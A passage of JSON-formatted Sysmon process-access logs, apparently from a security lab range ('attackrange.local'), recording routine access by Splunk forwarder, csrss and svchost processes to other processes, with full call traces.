Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntd